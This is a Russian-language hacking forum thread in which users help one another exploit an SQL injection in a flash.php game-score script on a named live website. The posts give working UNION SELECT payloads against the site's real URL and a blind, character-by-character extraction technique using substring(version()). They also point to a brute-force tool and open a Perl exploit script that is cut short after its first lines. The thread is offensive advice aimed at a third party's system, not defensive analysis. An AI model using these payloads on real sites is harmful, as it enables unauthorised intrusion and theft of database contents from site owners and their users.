![]() |
sql inj in flash.php
Нашел иньекцию в скрипте на сайте, долго перебирал колличество полей для выборки, ничего не получилось(всегда пишет The used SELECT statements have a different number of columns).
Погуглив по параметрам скрипта нашел движок, оттуда достал весь запрос : SELECT * FROM flashscores WHERE game = ".$gameID." ORDER BY score DESC LIMIT 10; Так-же достоверно узнал колличество полей: 5 Подскажите, как правильно составить sql inj? PHP код:
|
flash.php?gameid=-1+union+select+1,2,3,4,5/*
и юзаешь поле, которое выводится add вот например http://geotorrents.com/flash.php?gameURI=snake.swf&gamename=Snake&gameid= 0x3927%20union%20select%201,2,3,4,5/* только ничего не выводится... |
Цитата:
// не проверял |
Запрос возвращает несколько результатов (с 5ью полями и с 1 (count()), поэтому вывода не будет.
посимвольный идет на ура http://geotorrents.com/flash.php?gameURI=snake.swf&gamename=Snake&gameid= 1+and+substring(version(),1,1)=5/* |
Что максимум можно выжать из этого бага?
|
тоже самое что из обычной скули, только посимвольно
|
Вот пример сплоита , заюзай тока со своей скулей!
Код:
#!/usr/bin/perl -w |
#
# Benchmark brute sql tool # а при чем тут это ?)))) |
Цитата:
|
http://injection.rulezz.ru/mysql_char_brute.html
|
| Время: 15:19 |